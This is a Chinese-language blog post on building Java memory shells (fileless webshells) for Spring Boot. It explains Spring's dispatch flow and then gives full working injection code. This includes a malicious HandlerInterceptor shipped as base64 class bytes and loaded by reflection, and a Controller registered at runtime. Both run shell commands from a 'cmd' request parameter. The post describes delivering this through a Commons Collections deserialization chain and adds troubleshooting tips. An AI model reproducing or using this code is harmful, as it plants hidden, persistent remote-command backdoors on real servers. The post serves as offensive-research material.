前几篇文章简单介绍了关于Tomcat亦或者一个通用内存马的原理及利用手法。现在来介绍一下对于SpringBoot环境的内存马使用方法

Interceptor

前置知识

对于Springboot 我们还是先来看看他的解析构造过程及原理

我们在路由的地方下个断点

Java Memory Shell & SpringBoot

是不是超级眼熟? 对 和之前聊到的Tomcat的DoFilter差不多 但是还是有一点区别 我们来分析一下

在分析调用栈的时候 我们会发现一个doDIspatch方法

Java Memory Shell & SpringBoot

他是spring-webmvc 组件中的一员

protected void doDispatch(HttpServletRequest request, HttpServletResponse response) throws Exception {
  HttpServletRequest processedRequest = request;
  HandlerExecutionChain mappedHandler = null;
  boolean multipartRequestParsed = false;
  WebAsyncManager asyncManager = WebAsyncUtils.getAsyncManager(request);

  try {
    try {
      ModelAndView mv = null;
      Object dispatchException = null;

      try {
        processedRequest = this.checkMultipart(request);
        multipartRequestParsed = processedRequest != request;
        mappedHandler = this.getHandler(processedRequest);
        if (mappedHandler == null) {
          this.noHandlerFound(processedRequest, response);
          return;
        }

        HandlerAdapter ha = this.getHandlerAdapter(mappedHandler.getHandler());
        String method = request.getMethod();
        boolean isGet = HttpMethod.GET.matches(method);
        if (isGet || HttpMethod.HEAD.matches(method)) {
          long lastModified = ha.getLastModified(request, mappedHandler.getHandler());
          if ((new ServletWebRequest(request, response)).checkNotModified(lastModified) && isGet) {
            return;
          }
        }

        if (!mappedHandler.applyPreHandle(processedRequest, response)) {
          return;
        }

        mv = ha.handle(processedRequest, response, mappedHandler.getHandler());
        if (asyncManager.isConcurrentHandlingStarted()) {
          return;
        }

        this.applyDefaultViewName(processedRequest, mv);
        mappedHandler.applyPostHandle(processedRequest, response, mv);
      } catch (Exception var20) {
        dispatchException = var20;
      } catch (Throwable var21) {
        dispatchException = new NestedServletException("Handler dispatch failed", var21);
      }

      this.processDispatchResult(processedRequest, response, mappedHandler, mv, (Exception)dispatchException);
    } catch (Exception var22) {
      this.triggerAfterCompletion(processedRequest, response, mappedHandler, var22);
    } catch (Throwable var23) {
      this.triggerAfterCompletion(processedRequest, response, mappedHandler, new NestedServletException("Handler processing failed", var23));
    }

  } finally {
    if (asyncManager.isConcurrentHandlingStarted()) {
      if (mappedHandler != null) {
        mappedHandler.applyAfterConcurrentHandlingStarted(processedRequest, response);
      }
    } else if (multipartRequestParsed) {
      this.cleanupMultipart(processedRequest);
    }

  }
}

首先其调用了getHandler方法,跟进后发现

protected HandlerExecutionChain getHandler(HttpServletRequest request) throws Exception {
  if (this.handlerMappings != null) {
    Iterator var2 = this.handlerMappings.iterator();

    while(var2.hasNext()) {
      HandlerMapping mapping = (HandlerMapping)var2.next();
      HandlerExecutionChain handler = mapping.getHandler(request);
      if (handler != null) {
        return handler;
      }
    }
  }

  return null;
}

可以看到是遍历this.handlerMappings 这个迭代器中的mappergetHandler 方法处理Http中的request请求。

Java Memory Shell & SpringBoot

继续跟进,最终会调用到org.springframework.web.servlet.handler.AbstractHandlerMapping 类的 getHandler 方法,并通过 getHandlerExecutionChain(handler, request) 方法返回 HandlerExecutionChain 类的实例。

跟进getHandlerExecutionChain

Java Memory Shell & SpringBoot

发现会遍历 this.adaptedInterceptors 对象里所有的 HandlerInterceptor 类实例,通过 chain.addInterceptor 把已有的所有拦截器加入到需要返回的 HandlerExecutionChain 类实例中。

以上就是添加拦截器(interceptor)

之后再org.springframework.web.servlet.HandlerExecutionChain#applyPreHandle方法中会遍历拦截器,并执行其preHandle方法

Java Memory Shell & SpringBoot

整个流程就很清楚了 我们再来回顾一下

根据调用栈

shell_invoke:20, Shell_Servlet (com.springboot.springbootdemo)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
doInvoke:205, InvocableHandlerMethod (org.springframework.web.method.support)
invokeForRequest:150, InvocableHandlerMethod (org.springframework.web.method.support)
invokeAndHandle:117, ServletInvocableHandlerMethod (org.springframework.web.servlet.mvc.method.annotation)
invokeHandlerMethod:895, RequestMappingHandlerAdapter (org.springframework.web.servlet.mvc.method.annotation)
handleInternal:808, RequestMappingHandlerAdapter (org.springframework.web.servlet.mvc.method.annotation)
handle:87, AbstractHandlerMethodAdapter (org.springframework.web.servlet.mvc.method)
doDispatch:1067, DispatcherServlet (org.springframework.web.servlet)
doService:963, DispatcherServlet (org.springframework.web.servlet)
processRequest:1006, FrameworkServlet (org.springframework.web.servlet)
doGet:898, FrameworkServlet (org.springframework.web.servlet)
service:655, HttpServlet (javax.servlet.http)
service:883, FrameworkServlet (org.springframework.web.servlet)
service:764, HttpServlet (javax.servlet.http)
internalDoFilter:227, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilter:53, WsFilter (org.apache.tomcat.websocket.server)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:100, RequestContextFilter (org.springframework.web.filter)
doFilter:117, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:93, FormContentFilter (org.springframework.web.filter)
doFilter:117, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:201, CharacterEncodingFilter (org.springframework.web.filter)
doFilter:117, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
invoke:197, StandardWrapperValve (org.apache.catalina.core)
invoke:97, StandardContextValve (org.apache.catalina.core)
invoke:540, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:135, StandardHostValve (org.apache.catalina.core)
invoke:92, ErrorReportValve (org.apache.catalina.valves)
invoke:78, StandardEngineValve (org.apache.catalina.core)
service:357, CoyoteAdapter (org.apache.catalina.connector)
service:382, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:895, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1732, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)

可以简单总结一下HttpRequest --> Filter --> DispactherServlet --> Interceptor --> Aspect --> Controller

所以我们理论上构建一个恶意的Interceptor拦截请求,即可在访问Controller前执行命令

实现

通过分析可知 最终实现的是其preHandle方法,通过其构造方法,我们可以重写此类

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package org.springframework.web.servlet;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.lang.Nullable;

public interface HandlerInterceptor {
    default boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        return true;
    }

    default void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, @Nullable ModelAndView modelAndView) throws Exception {
    }

    default void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, @Nullable Exception ex) throws Exception {
    }
}

然后我们根据分析需要将恶意方法手动注入到 org.springframework.web.servlet.handler.AbstractHandlerMapping 类的 adaptedInterceptors 属性中

那么怎么拿到这个属性呢

我们在AbstractHandlerMapping查看其子类并在beanFactory的beanDefinitionNames中找到它的实例

Java Memory Shell & SpringBoot

可以通过context.getBean("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping")获取该对象,再反射获取其中的adaptedInterceptors属性,并添加恶意interceptor实例对象即可完成内存马的注入

所以这样写

org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (AbstractHandlerMapping)context.getBean("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping");
java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);

然后我们把恶意interceptor添加进去

package cc1;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javassist.ClassPool;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;

import java.util.Base64;

public class evil extends AbstractTranslet {
    public evil() throws Exception{
        //获得context
        WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        //获取 adaptedInterceptors 属性值
        org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("requestMappingHandlerMapping");
        java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
        field.setAccessible(true);
        java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);
        //注入 Interceptor
        String className = "com.springboot.springbootdemo.Springboot";
        byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAhQoAHABLCABMCwBNAE4LAE8AUAgAUQcAUgcAUwgAVAgAVQoABgBWBwBXCgAGAFgKAFkAWgoACwBbCABcCgALAF0KAAsAXgoACwBfCgALAGAKAGEAYgoAYQBjCgBhAGALAE8AZAcAZQsAHQBmCwAdAGcHAGgHAGkHAGoBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAKkxjb20vc3ByaW5nYm9vdC9zcHJpbmdib290ZGVtby9TcHJpbmdib290OwEACXByZUhhbmRsZQEAZChMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7TGphdmEvbGFuZy9PYmplY3Q7KVoBAAFvAQASTGphdmEvbGFuZy9TdHJpbmc7AQABcAEAGkxqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXI7AQABYwEAE0xqYXZhL3V0aWwvU2Nhbm5lcjsBAARhcmcwAQAGd3JpdGVyAQAVTGphdmEvaW8vUHJpbnRXcml0ZXI7AQAHcmVxdWVzdAEAJ0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OwEACHJlc3BvbnNlAQAoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOwEAB2hhbmRsZXIBABJMamF2YS9sYW5nL09iamVjdDsBAA1TdGFja01hcFRhYmxlBwBoBwBrBwBsBwBpBwBTBwBtBwBSBwBXBwBlAQAKRXhjZXB0aW9ucwEACnBvc3RIYW5kbGUBAJIoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlO0xqYXZhL2xhbmcvT2JqZWN0O0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L01vZGVsQW5kVmlldzspVgEADG1vZGVsQW5kVmlldwEALkxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L01vZGVsQW5kVmlldzsBAA9hZnRlckNvbXBsZXRpb24BAHkoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlO0xqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvRXhjZXB0aW9uOylWAQACZXgBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAApTb3VyY2VGaWxlAQAPU3ByaW5nYm9vdC5qYXZhDAAeAB8BAANjbWQHAGsMAG4AbwcAbAwAcABxAQAAAQAYamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyAQAQamF2YS9sYW5nL1N0cmluZwEABy9iaW4vc2gBAAItYwwAHgByAQARamF2YS91dGlsL1NjYW5uZXIMAHMAdAcAdQwAdgB3DAAeAHgBAAJcQQwAeQB6DAB7AHwMAH0AfgwAfwAfBwBtDACAAIEMAIIAHwwAgwCEAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAQQBCDABFAEYBAChjb20vc3ByaW5nYm9vdC9zcHJpbmdib290ZGVtby9TcHJpbmdib290AQAQamF2YS9sYW5nL09iamVjdAEAMm9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvSGFuZGxlckludGVyY2VwdG9yAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlAQATamF2YS9pby9QcmludFdyaXRlcgEADGdldFBhcmFtZXRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsBABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAFc3RhcnQBABUoKUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsBAAdoYXNOZXh0AQADKClaAQAEbmV4dAEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAFY2xvc2UBAAV3cml0ZQEAFShMamF2YS9sYW5nL1N0cmluZzspVgEABWZsdXNoAQAJc2VuZEVycm9yAQAEKEkpVgAhABsAHAABAB0AAAAEAAEAHgAfAAEAIAAAAC8AAQABAAAABSq3AAGxAAAAAgAhAAAABgABAAAADAAiAAAADAABAAAABQAjACQAAAABACUAJgACACAAAAF9AAYACQAAAIorEgK5AAMCADoELLkABAEAOgUZBMYAZhIFOga7AAZZBr0AB1kDEghTWQQSCVNZBRkEU7cACjoHuwALWRkHtgAMtgANtwAOEg+2ABA6CBkItgARmQALGQi2ABKnAAUZBjoGGQi2ABMZBRkGtgAUGQW2ABUZBbYAFqcADCwRAZS5ABcCAKcABToEBKwAAQAAAIMAhgAYAAMAIQAAAD4ADwAAABAACgARABIAEgAXABMAGwAVADcAFgBNABcAYQAYAGYAGQBtABoAcgAbAHcAHAB6AB4AgwAgAIgAIQAiAAAAXAAJABsAXAAnACgABgA3AEAAKQAqAAcATQAqACsALAAIAAoAeQAtACgABAASAHEALgAvAAUAAACKACMAJAAAAAAAigAwADEAAQAAAIoAMgAzAAIAAACKADQANQADADYAAAAzAAb/AF0ACQcANwcAOAcAOQcAOgcAOwcAPAcAOwcAPQcAPgAAQQcAO/gAGvkACEIHAD8BAEAAAAAEAAEAGAABAEEAQgACACAAAABgAAUABQAAAAoqKywtGQS3ABmxAAAAAgAhAAAACgACAAAAJgAJACcAIgAAADQABQAAAAoAIwAkAAAAAAAKADAAMQABAAAACgAyADMAAgAAAAoANAA1AAMAAAAKAEMARAAEAEAAAAAEAAEAGAABAEUARgACACAAAABgAAUABQAAAAoqKywtGQS3ABqxAAAAAgAhAAAACgACAAAAKwAJACwAIgAAADQABQAAAAoAIwAkAAAAAAAKADAAMQABAAAACgAyADMAAgAAAAoANAA1AAMAAAAKAEcASAAEAEAAAAAEAAEAGAABAEkAAAACAEo=");
        java.lang.ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
        java.lang.reflect.Method m0 = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
        m0.setAccessible(true);
        m0.invoke(classLoader, className, bytes, 0, bytes.length);
        adaptedInterceptors.add(classLoader.loadClass(className).newInstance());
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

}

其中base64的class文件如下

package com.springboot.springbootdemo;

import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.io.PrintWriter;

public class Springboot implements HandlerInterceptor {
    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        try {
            String arg0 = request.getParameter("cmd");
            PrintWriter writer = response.getWriter();
            if (arg0 != null) {
                String o = "";
                java.lang.ProcessBuilder p;
                p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
                java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
                o = c.hasNext() ? c.next(): o;
                c.close();
                writer.write(o);
                writer.flush();
                writer.close();
            }else{
                //当请求没有携带指定的参数(code)时,返回 404 错误
                response.sendError(404);
            }
        }catch (Exception e){}
        return true;
    }

    @Override
    public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
        HandlerInterceptor.super.postHandle(request, response, handler, modelAndView);
    }

    @Override
    public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
        HandlerInterceptor.super.afterCompletion(request, response, handler, ex);
    }
}

也就是我们的恶意类

然后使用cc链构建

Java Memory Shell & SpringBoot

需要注意的几点

  • Classname 需要与包名完全一致,否则会报错wrong name

Java Memory Shell & SpringBoot

如图所示

  • 需要完全urlencode编码下,不然Base64不认

Controller

前置知识

听名字就知道了,这是个路由控制器

而Springboot在启动后仍然可以动态添加controller

例如 正常的Controller这样写

Java Memory Shell & SpringBoot

通过@RequestMapping注解标明url和请求方法,编译部署后,spring会根据这个注解注册好相应的controller。而我们怎么写呢

当然是用反射了

实现

public class InjectToController{
    public InjectToController(){
    // 1. 利用spring内部方法获取context
    WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
    // 2. 从context中获得 RequestMappingHandlerMapping 的实例
    RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
    // 3. 通过反射获得自定义 controller 中的 Method 对象
    Method method2 = InjectToController.class.getMethod("ha1c9on");
    // 4. 定义访问 controller 的 URL 地址
    PatternsRequestCondition url = new PatternsRequestCondition("/ha1c9on");
    // 5. 定义允许访问 controller 的 HTTP 方法(GET/POST)
    RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
    // 6. 在内存中动态注册 controller
    RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
    InjectToController injectToController = new InjectToController("aaa");
    mappingHandlerMapping.registerMapping(info, injectToController, method2);
    }
    public void ha1c9on() {
        xxx
    }
}

然后就是很简单的写法了

import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class InjectToController {
    // 第一个构造函数
    public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException {
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        // 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
        RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
        // 2. 通过反射获得自定义 controller 中test的 Method 对象
        Method method2 = InjectToController.class.getMethod("ha1c9on");
        // 3. 定义访问 controller 的 URL 地址
        PatternsRequestCondition url = new PatternsRequestCondition("/ha1c9on");
        // 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)
        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
        // 5. 在内存中动态注册 controller
        RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
        // 创建用于处理请求的对象,加入“aaa”参数是为了触发第二个构造函数避免无限循环
        InjectToController injectToController = new InjectToController("aaa");
        mappingHandlerMapping.registerMapping(info, injectToController, method2);
    }
    // 第二个构造函数
    public InjectToController(String aaa) {}
    // controller指定的处理方法
    public void ha1c9on() throws  IOException{
        // 获取request和response对象
        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
        HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();

        //exec
        try {
            String arg0 = request.getParameter("cmd");
            PrintWriter writer = response.getWriter();
            if (arg0 != null) {
                String o = "";
                java.lang.ProcessBuilder p;
                if(System.getProperty("os.name").toLowerCase().contains("win")){
                    p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
                }else{
                    p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
                }
                java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
                o = c.hasNext() ? c.next(): o;
                c.close();
                writer.write(o);
                writer.flush();
                writer.close();
            }else{
                //当请求没有携带指定的参数(code)时,返回 404 错误
                response.sendError(404);
            }
        }catch (Exception e){}
    }

}

需要注意的是,如果要打反序列化的话,依然需要继承AbstractTranslet 否则会报错

踩坑

  • 打过去访问提示Expected lookupPath in request attribute "org.springframework.web.util.UrlPathHelper.PATH"
  • 重启后提示2022-02-08 19:57:55.373 ERROR 38671 --- [nio-8080-exec-1] o.a.c.c.C.[.[.[/].[dispatcherServlet] : Servlet.service() for servlet [dispatcherServlet] in context with path [] threw exception [Request processing failed; nested exception is org.apache.commons.collections.FunctorException: InvokerTransformer: The method 'newTransformer' on 'class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl' threw an exception] with root cause

    Bean is required

解决了一下午 没解决 破防了

Java Memory Shell & SpringBoot

继续写这篇文章已经是第二天了。昨晚百思不得其解,查了很多资料。大家都没遇到过这种问题。今天早上继续查看才发现了一个问题

Java Memory Shell & SpringBoot

我们在New这个RequestMappingInfo的时候Idea提示我们已经弃用了该方法,

Java Memory Shell & SpringBoot

跟进你会发现这里最终是调用了Private的新RequestMappingInfo。旧版本的函数为了保留兼容性都留下来了

一切皆反射嘛。所以反射出来就可以了

Class<?> class1 = Class.forName("org.springframework.web.servlet.mvc.method.RequestMappingInfo");
System.out.println("Get RequestMappingInfo Success!");
RequestMappingInfo RequestMappingInfo = (RequestMappingInfo)class1.getDeclaredConstructor(PatternsRequestCondition.class, RequestMethodsRequestCondition.class,ParamsRequestCondition.class, HeadersRequestCondition.class, ConsumesRequestCondition.class, ProducesRequestCondition.class, RequestCondition.class).newInstance(url,ms,null,null,null,null,null);

最终也是成功执行了命令

Java Memory Shell & SpringBoot

Java Memory Shell & SpringBoot

踩坑V2.0

  • 一定要在本地先调试好,对应版本才能打,不然远程会打炸(x
  • 我这里打进去会一直抛出一个异常

Java Memory Shell & SpringBoot

并不知道原本是这样的还是我的问题,也希望了解的师傅能告知与我